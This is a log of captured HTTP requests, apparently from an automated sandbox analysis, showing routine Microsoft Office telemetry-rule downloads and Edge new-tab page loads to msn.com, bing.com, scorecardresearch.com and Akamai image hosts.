Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732555723259&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a424a4266fd6446fa9509a4e2b847ee6&activityId=a424a4266fd6446fa9509a4e2b847ee6&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=1C9027A36A1F6A1B109A32E16B066B17; _EDGE_S=F=1&SID=2411E70CCBC66AED1AC7F24ECAD16B79; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1732555723260&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1C9027A36A1F6A1B109A32E16B066B17&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732555723259&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a424a4266fd6446fa9509a4e2b847ee6&activityId=a424a4266fd6446fa9509a4e2b847ee6&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=5A297632BA2E4052A243C3E0B8EBA7FF&RedC=c.msn.com&MXFR=1C9027A36A1F6A1B109A32E16B066B17 HTTP/1.1Host: c.bing.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-MS-GEC: 19BF69B62E082C50E46300B6F614253A7F2C4DF02D9E783ED276755956B6F196Sec-MS-GEC-Version: 1-117.0.2045.47Referer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msMIw.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732555723260&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1C9027A36A1F6A1B109A32E16B066B17&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=14D0db3125068df9c7043011732555724; XID=14D0db3125068df9c7043011732555724
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=1C9027A36A1F6A1B109A32E16B066B17&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=182286ab29844376bc446f41e7998e58 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=1C9027A36A1F6A1B109A32E16B066B17; _EDGE_S=F=1&SID=2411E70CCBC66AED1AC7F24ECAD16B79; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732555723259&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a424a4266fd6446fa9509a4e2b847ee6&activityId=a424a4266fd6446fa9509a4e2b847ee6&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=5A297632BA2E4052A243C3E0B8EBA7FF&MUID=1C9027A36A1F6A1B109A32E16B066B17 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1C9027A36A1F6A1B109A32E16B066B17; _EDGE_S=F=1&SID=2411E70CCBC66AED1AC7F24ECAD16B79; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=1C9027A36A1F6A1B109A32E16B066B17&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=b00f981afebe46559fec483736eb5bc8 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1C9027A36A1F6A1B109A32E16B066B17; _EDGE_S=F=1&SID=2411E70CCBC66AED1AC7F24ECAD16B79; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOP1.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msBaE.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msDBP.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
